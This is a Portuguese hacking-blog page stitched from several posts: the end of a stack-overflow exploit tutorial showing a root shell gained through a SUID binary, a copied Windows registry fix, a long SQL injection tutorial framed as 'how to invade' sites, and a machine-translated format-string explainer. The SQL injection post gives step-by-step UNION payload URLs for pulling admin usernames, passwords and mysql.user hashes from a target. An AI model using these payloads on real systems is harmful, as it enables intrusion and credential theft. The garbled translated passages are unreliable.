}

++++++++++++++++++++++++++++++++++++++++++

Não direi nada a respeito do código porque creio eu que ele já esteja bem comentado!

Vamos aos testes:

——————————————————–

newbie@hostnotfound:~/técnicas/stack_overflow$ gcc 1_2_xpl.c -o 1_2_xpl

1_2_xpl.c: In function `main’:

1_2_xpl.c:27: warning: assignment makes pointer from integer without a cast

1_2_xpl.c:37: warning: assignment makes pointer from integer without a cast

newbie@hostnotfound:~/técnicas/stack_overflow$ ./1_2_xpl

Você digitou: ▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿

sh-2.05b$ exit

exit

newbie@hostnotfound:~/tecnicas/stack_overflow$

——————————————————

VIVA! Conseguimos de PRIMEIRA! Sem chute de offsets nem nada disso

Endendendo o esquema do SUID

Só pra ficar mais claro agora!

———————————————

newbie@hostnotfound:~/técnicas/stack_overflow$ su

Password:

root@hostnotfound:/home/newbie/tecnicas/stack_overflow# chown root.root vuln02

root@hostnotfound:/home/newbie/tecnicas/stack_overflow# chmod 4755 vuln02

root@hostnotfound:/home/newbie/técnicas/stack_overflow# exit

exit

newbie@hostnotfound:~/técnicas/stack_overflow$ ./1_2_xpl

Você digitou: ▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿

sh-2.05b$ id

uid=0(root) gid=0(root)

sh-2.05b$

———————————————

Este tutorial é bem explicativo para aquelas pessoas que ainda estão começando.

Aqueles que não entenderem este tutorial, aconselho a lerem os livros que eu traduzi em português.

Read More

retirar meus documentos da inicializaçao do computador windows

Passei por um grande apuro, esses dias para tras, toda vez que eu inicializava meu computador automaticamente abria a pasta meus documentos. Tentei de tudo que um tecnico em computaçao poderia tentar E nao consegui.  Até quando resolvi entrar no proprio site da microsoft, fazer uma pergunta no campo de pesquisa. Entao apareceu minha solucao que poderá ser a de todo mundo tambem.  MICROSOFT EXPLICOU QUE ISSO ERA UM BUG DO WINDOWS

TEXTO COPIADO E COLADO

importante Esta seção, método ou tarefa contém etapas que informam como modificar o Registro. No entanto, poderão ocorrer problemas graves se você modificar o registro incorretamente. Portanto, verifique se que você execute essas etapas com cuidado. Para proteção adicional, faça backup do registro antes de modificá-lo. Em seguida, você pode restaurar o Registro se ocorrer um problema. Para obter mais informações sobre como fazer backup e restaurar o Registro, clique o número abaixo para ler o artigo na Base de Dados de Conhecimento da Microsoft:

322756 (http://support.microsoft.com/kb/322756/ ) Como fazer backup e restaurar o Registro no Windows

Para resolver esse problema, execute estas etapas:

  1. Backup as chaves do registro que você planeja editar antes de modificar o Registro. Para obter mais informações sobre como fazer backup do registro, clique o número abaixo para ler o artigo na Base de Dados de Conhecimento da Microsoft:

322756 (http://support.microsoft.com/kb/322756/ ) Como fazer backup, editar e restaurar o Registro no Windows XP e Windows Server 2003

  1. Verifique as entradas de registro Userinit e PersistBrowsers para certificar-se que elas contêm os valores corretos. Para verificar as entradas do Registro Userinit e PersistBrowsers, execute estas etapas:
  1. Clique em Iniciar , clique em Executar , digite regedit na caixa Abrir e, em seguida, clique em OK .
  2. Localize e, em seguida, clique na seguinte subchave do Registro:

HKEY_LOCAL_MACHINESoftwareMicrosoftWindows NTCurrentVersionWinlogon

  1. No painel direito, clique com o botão direito do mouse Userinit e clique em Modificar .
  2. Na caixa de diálogo Editar seqüência , digite Windows installation drive letter: WINDOWSsystem32userinit.exe em Dados do valor e, em seguida, clique em OK .
  3. Localize e, em seguida, clique na seguinte subchave do Registro:

HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced

  1. No painel direito, clique com o botão direito do mouse PersistBrowsers e clique em Modificar .
  2. Na caixa de diálogo Editar valor DWORD , digite 0 em Dados do valor e, em seguida, clique em OK .

Feche o Editor do Registro e reinicie o computador.

Read More

Tutorial como invadir com SQL Injection (MySQL), sql injection por method $_GET e $_POST, programa para sqlinjection

Criei este tutorial a fim de demonstrar uma das melhores formas de invasão e uma das mais usadas hoje em dia. Ate porque os programadores de hoje em dia não estão si importando com a segurança do site e suas áreas restritas.

OBS: não vou explicar aqui detalhadamente sobre os códigos sql, pois quem deseja fazer ataques sqlinjection com certeza precisa ter conhecimento sobre banco de dados.

O que é Sql Injection?

É uma vulnerabilidade existente nos dias de hoje, que si usa de uma manipulação em  códigos sql. Esta vulnerabilidade permite ao atacante executar consultas ao banco de dados inserindo querys (comandos Sql) na url do site ou ate mesmo em campos de text. obtendo, assim, informações confidenciais como logins e senhas, dentre outros.
Hoje em dia são usadas muitas técnicas para explorar um banco de dados de um site servidor… Citarei algumas das técnicas.
1 – Sql Injection

A) Verificar a si existe uma Vulnerabilidade sem programa.

Vou citar um exemplo básico, para si saber si existe uma vulnerabilidade. Suponhamos que existe um site chamado “ALVO”, e esse site contem dados enviados por variáveis URL.

Código:

http://www.alvo.com/news.php?id=5

No caso acima, o nome do site é www.alvo.com, Toda vez que você ver no link de um site o sinal de interrogação seguido de alguma palavra,letra,silaba recebendo algum valor, isso quer diser que existe um dado sendo enviado de uma pagina para outra. Exemplo: ?id=5.

Isso significa que neste caso, a pagina news.php estará recebendo o.

Concerteza na pagina, chamada news.php terá um código, parecido com esse:

$id       =$_post[‘id’];

E obviamente terá um código sql, parecido com esse.

Query_rs        = “select *  from noticias where código=’$id’”

Isso significa que a pagina news.php esta selecionando a noticia em que o codigo da noticia seja igual ao codigo da URL, que seria a variavel $id.

Agora, vamos a parte para identificarmos se o site é vulnerável, colocaremos ao final da url uma aspa simples ( ‘ ). Abaixo é mostrado a forma como a url ficará.

Código:

http://www.alvo.com/news.php?id=5′

Caso o site retorne um erro igualmente ou semelhante ao apresentado a seguir. O site é vulnerável a Sql Injection

Erro:

“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the…

O erro acima diz que a sintase da consulta sql esta incorreta. e pede para você checar o manual correspondente ao SGBD que você está utilizando. “Até parece que você é o administrador do site”

Agora que checamos o erro no site e sabemos que este é vulnerável a injeção de Sql na url. Agora Iremos aprender a explorar esta vulnerabilidade. Com alguns macetes:

B) – Localizar a Quantidade/Número de Colunas/Tabelas do banco de dados.

Utilizaremos uma forma bastante simples para descobrir a quantidade de colunas existentes na tabela. Para encontrar a quantidade de Colunas/Tabelas é utilizado o comando ORDER BY, esse comando é colocado no fim da sintase sql, significa ordenar em formas descendente, ascendente dentre outras a suas consulta.

Mas como utilizar este comando Sql?

Ao final da url você adiciona o comando order by e vai adicionando uma sequência de Colunas, ou seja, você pode acionar a coluna correspondente. Caso queira olhar a coluna 1, ordene assim:

Código:

http://www.alvo.com/news.php?id=5 order by 1

Se não aparecer nenhum erro é por que esta Coluna número 1 existe. Para localizar a quantidade de colunas basta ir tentando ordenar todas as colunas de 1 a infinito.  Lembre-se que esta vulnerabilidade necessitamos trabalhar em cima dos erros, então o ideal é você ir acrescentado valor até que o site retorne um erro dizendo que a Coluna é inexistente no banco de dados.

Código:

http://www.alvo.com/news.php?id=5 order by 1/* <– Sem erro

http://www.alvo.com/news.php?id=5 order by 1,2/* <– Sem erro

http://www.alvo.com/news.php?id=5 order by 1,2,3/* <– Sem erro

http://www.site.com/news.php?id=5 order by 1,2,3,4 <– Com erro

O exemplo acima, é atribuido Colunas (1..2..3..4), no entanto, é mencionado erro na Coluna 4. Conclui-se então que esta Coluna é inexistente e que o banco possui apenas 3 Colunas.

C) – Utilizando a função UNION.

Esta função poderosa é responsável por unir vários dados localizados em Colunas de Tabelas diferentes. “Essa é muito boa”

Vamos utilizar o exemplo abaixo para melhor exemplificar.

Código:

http://www.alvo.com/news.php?id=5 union all select 1,2,3

Explicando a Sql:
O exemplo acima vai possibilitar ao “Injectador” visualizar todas as informações contidas nas Colunas/Tabelas 1, 2 e 3 do banco.

Código:

…?id … union all select 1,2,3
Faça a união de todas as informações contidas das Colunas/Tabelas 1, 2 e 3 do site: http://www.alvo.com/news.php. Está e a ordem que você atribui ao comando colocado na url do site.

D) – Descobrindo a versão do SGBD (MySql).

Código:

http://www.alvo.com/news.php?id=5 union all select 1,2,3

Observe acima que na url o comando Sql pede para visualizar as três Colunas/Tabelas existentes no banco. Agora para visualizar a versão do banco é necessário que façamos uma substituição. Retirar a Coluna/Tabela 2 pelo comando @@version.

Código:

http://www.alvo.com/news.php?id=5 union all select 1,@@version,3

Caso não der certo, você receberá uma mensagem de erro semelhante a esta:

Citação:

“union + illegal mix of collations (IMPLICIT + COERCIBLE) …”
Para resolver este erro vamos utilizar a função convert(). Exemplo abaixo:

Código:

http://www.alvo.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/

Ou então as funções hex() e unhex();

Código:

http://www.alvo.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/
Com os procedimentos acima, você irá conseguir achar a versão do SGBD MySql.

E) – Obtendo o nome da Coluna/Tabela.

Agora que temos a versão, iremos ao passo seguinte. Descobrir o nome das Colunas/Tabelas:

Geralmente os DBA’s (Administradores de Banco de Dados) utilizam nomes comuns como padronização para suas Colunas/Tabelas como:

Citação:

user, usuario, admin, member, membro, password, passwd, pwd, user_name

Lógico que isto depende bastante de DBA’s e qual tipo de padronização ele estiver utilizando.

Na consulta abaixo o “Injectador” bicuda, isto mesmo ele utiliza a técnica de tentativo-erro, para tentar acertar o nome da Coluna/Tabela.

Código:

http://www.alvo.com/news.php?id=5 union all select 1,2,3 from admin
Observe que acima a query diz: “Mostre-me os valores das Colunas/Tabelas 1, 2 e 3 do usuário admin”.

Código:

http://www.alvo.com/news.php?id=5 union all select 1,username,3 from admin
Caso apareça erro, vá mudando o nome da coluna… afinal é a técnica da tentativa e erro.

Código:

http://www.alvo.com/news.php?id=5 union all select 1,username,3 from admin/

Acima, observe que a consulta começa a ficar refinada: “Mostre-me os valores Coluna/Tabelas 1, o nome do usuário e 3 do usuário admin”. Ou seja, suponha que o DBA tenha criado um banco onde as ele separou a Tabela admin, como o exemplo. No entanto, este admin possui inumeras informações (campos) como: nome do admin (username), password, endereco, idade.. etc.

Código:

http://www.alvo.com/news.php?id=5 union all select 1,username, password from admin

Caso a consulta der certo, na tela aparecerá o nome do usuário e a senha. Esta senha aparecerá na tela tanto como texto ou criptografada, em md5 hash.. etc. Vai depender muito da base de dados onde foi desenvolvido o banco.

Para ficar com um boa aparência e organizada as informações na tela. É utilizado a função concat().

Código:

http://www.alvo.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*

Dependendo do campo, fica a seu critério inserir em hexadecimal (0x3a) ou utilizando o padrão Ascii (char(58)).

Código:

http://www.alvo.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*

Na tela já aparecerá os valores com o nome do usuário administrador e a senha. Faça orações para que não aparece em hash md5 senão vai ser outra guerra..

Dica: Quando está difícil para achar o nome da Coluna/Tabela, sempre é bom utilizar mysql.user, pois é muito utilizado como default e como padrão. Exemplo abaixo.

Código:

http://www.alvo.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*

F) – MySql 5.

Devido algumas diferenças atribuídas a versão 5 do MySql. É mostrado aqui uma técnica para obter o nome das Colunas/Tabelas.

Nesta nova versão, é acrescentada um arquivo chamado information_schema, onde possui informações sobre todas as Colunas/Tabelas do banco. É este arquivo que será o nosso alvo.

Código:

http://www.alvo.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*

Na consulta acima substituimos o campo 2 por table_name para obter a primeira tabela de information_schema.

Agora para que a consulta seja rápida é necessário acrescentar um limite para as linhas.
Observer abaixo que é colocado como limite 0, 1.

Código:

http://www.alvo.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*

OBS: você deve ir acrescentando os valores dos limites: 1, 2; 3,4. Vai depender de você, pois vamos supor que o alvo principal é a Coluna/Tabela admin_password e está está na posição 43, então você deveria acrescentar uma por uma até achar… 1, 2; …, …; 42, 43.

Espero que tenham entendido esta parte.
Para obter o nome das colunas, também é utilizado a mesma lógica. Só que agora no arquivo information_schema.columns.

Código:

http://www.alvo.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*

Agora vamos a uma consulta mais específica. Caso você queira que apareça informações mais específica como o nome dos usuário pode-se fazer a consulta abaixo:

Código:

http://www.alvo.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name=’users’/

Com esta consulta é visualizado o nome das colunas.. agora é só utilizar os limites para visualizar os nomes de usuários.

Caso os valores estejam em colunas diferentes (lugares) vamos concatenar utilizando o concat().

Código:

http://www.alvo.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*

Ferramenta de auxílio
SQL Injection 1.2 + Firefox.

https://addons.mozilla.org/pt-BR/firefox/addon/6727

Para dá apoio/auxílio na injeção dos códigos da SQL Injection, aqui é mostrado um complemento do Firefox que pode ajudá-lo bastante nesta tarefa.
O SQL Injection 1.2 que é uma complemento que nos ajuda a inserir códigos tanto em Post quanto em Get. Além de você pode memorizar todas as entradas que você adquirir, sem a necessidade de utilizar o Crtl + c e Crtl + v.

Abaixo as ilustrações mostram a facilidade de uso da ferramenta.

Acima simplesmente pedimos para mostrar o usuário, a senha e o email.

Isto é um exemplo de Sql Injection Avançado. Não é uma técnica tão simples, necessita-se de prática e conhecimento em Sql.
Para quem sabe manejar bem o sql, concerteza que com este simples tutorial, aprenderá coisas a mais do que estou ensinando. Aprenderá que para fazer um sql injection basta injetar um código em outro código.
Espero que todos tenham entendido pelo menos a essência da coisa.
0

A imagem 01 mostra o ícone no campo inferior do Browser. Para darmos início a execução do complemento é necessário dar um clique em cima do ícone (cadeado).

1

A imagem 02 mostra o complemento em si. Observe que não tem muito mistério, um campo para a escolha da String/Query e dois botões de escolha.

2

A imagem 3 mostra que o complemento já vem com algumas Strings, as Query’s que aparecem eu mesmo adicionei.

Mas como funciona?
3

A imagem 04 mostra que o SQL Injection 1.2 já fez a limitação dos campos que podem vir a receber os Strings, que na ilustração acima correspondem a Usuário, Senha, Entrar.

Para inserir é necessário que você clique em cima de qualquer um dos 3 campos do site.

juancarloscunha

A imagem 05 aparece logo após você clicar no campo desejado. Então você pode fazer a escolha de fazer a injeção por POST ou por GET.

Na imagem 06 você agora deve escolher em qual campo será inserido a String. Para isto você deve optar em clicar em um dos dois botões:
O botão Injection Code possibilita inserir a String apenas no input que você clicou anteriormente.
O botão Injection in all possibilita que a String seja inserida em todos os campos do site.

Observe que eu clique no botão Injection in all.

Pronto, logo após para iniciar a injeção basta clicar no tão Submit this form.

_____________________________________________________________________

Existem também a possibilidade de você criar e salvar as suas próprias Strings/Querys.

Para isto, basta você clicar na ícone do SQL Injection 1.2, mostrado na ilustração 01, e adicionar conforme mostrado na figura acima.

Esta ferramenta ajuda muito aqueles que são fanáticos em sql injection, assim como me ajuda muito.

Este programa é simples e pratico.
Aqueles que tiverem alguma duvida, basta me contactar.

Read More

O que é um formato string vulnerável

Para entender o que é um formato string vulnerabilidade, primeiro você precisa saber o que é um formato string. Um formato string é uma forma de dizer ao compilador como deve formatar números quando se imprime-los.

Formatar Strings em C

Na linguagem de programação C, há uma série de funções que aceitam um formato string como um argumento. Estas funções incluem fprintf, printf, sprintf, snprintf, vfprintf, vprintf, vsprintf, vsnprintf, setproctitle, syslog, e outros.

O mais comum deles é printf. O uso de printf é:

printf formato [argumentos ...]

printf o valor das saídas [argumentos ...], no formato especificado pelo formato.

Um exemplo é chamada para printf:

printf ( “O código de área é:% d n”, 303);

Formato suportado especialistas diferem de um compilador C para a próxima. O formato suportado especialistas em FreeBSD são:

% d  -  Converso assinado decimal inteiro para string.

% u  -  Converter inteiro para unsigned decimal string.

% i  -  Converter inteiro para string assinado decimais; o inteiro pode ser em decimal, em Octol (com um líder 0) ou em hexadecimal (com um líder 0x).

% o  -  Converter inteiro para unsigned Octol string.

% x ou% X  -  Converter inteiro para hexadecimal unsigned corda, usando dígitos 0123456789abcdef “ x”de”e “ 0123456789ABCDEF para o X).

% c  -  Converter inteiro para os caracteres Unicode que representa.

% s  -  Nenhuma conversão, basta inserir string.

% f  -  Converter número de ponto flutuante para casa decimal assinado seqüência do formulário xx.yyy, onde o número de y’s é determinado pela precisão (padrão: 6). Se a precisão for 0, então nenhum ponto decimal é saída.

% e ou% E  -  Converter número de ponto flutuante para notação científica, sob a forma x.yyye +-zz, onde o número de y’s é determinado pela precisão (padrão: 6). Se a precisão for 0, então nenhum ponto decimal é saída. Se o formulário for utilizado E então E é impressa em vez de e.

% g ou% G  -  Se o expoente é menor que -4 ou maior ou igual à precisão e, em seguida, converter número de ponto flutuante como para% e ou% E. Senão como converter para% f. Trailing zeros e uma rasteira ponto decimal são omitidos.

%%  -  Nenhuma conversão: basta inserir%.

Ataques  em Formato String Vulneravel

Formato string de ataques de vulnerabilidade podem ser classificados em três categorias: negação de serviço, a leitura e a escrita.

  • Formato string vulnerável de negação de serviço ataques são caracterizados utilizando várias instâncias do especificador formato% s para ler os dados fora da pilha até que o programa tenta ler dados a partir de um endereço ilegal, o que fará com que o programa fique bloqueado.
  • Formato string vulnerabilidade leitura ataques normalmente utilizam o formato % x especificador para imprimir seções da memória que normalmente não têm acesso.
  • Formato ataques  de string vulneráveis: escrito utilizar os % d,% u% x formato ou especialistas para substituir a Instrução Ponteiro vigor e execução de código de usuário fornecido reservatório.

FONTE:  tech-faq

Read More
seguranca em rede seguranca da informação conteudo seguranca em rede de informacao conteudo informação conteudo redes invasao de sites e sistemas invadir site pelo por metasploit conteudo
aqui tem a seguranca em rede e seguranca da informação conteudofazemos seguranca em rede de informacao conteudo informação redes invasao de sites e sistemas invadir site pelo por metasploit conteudo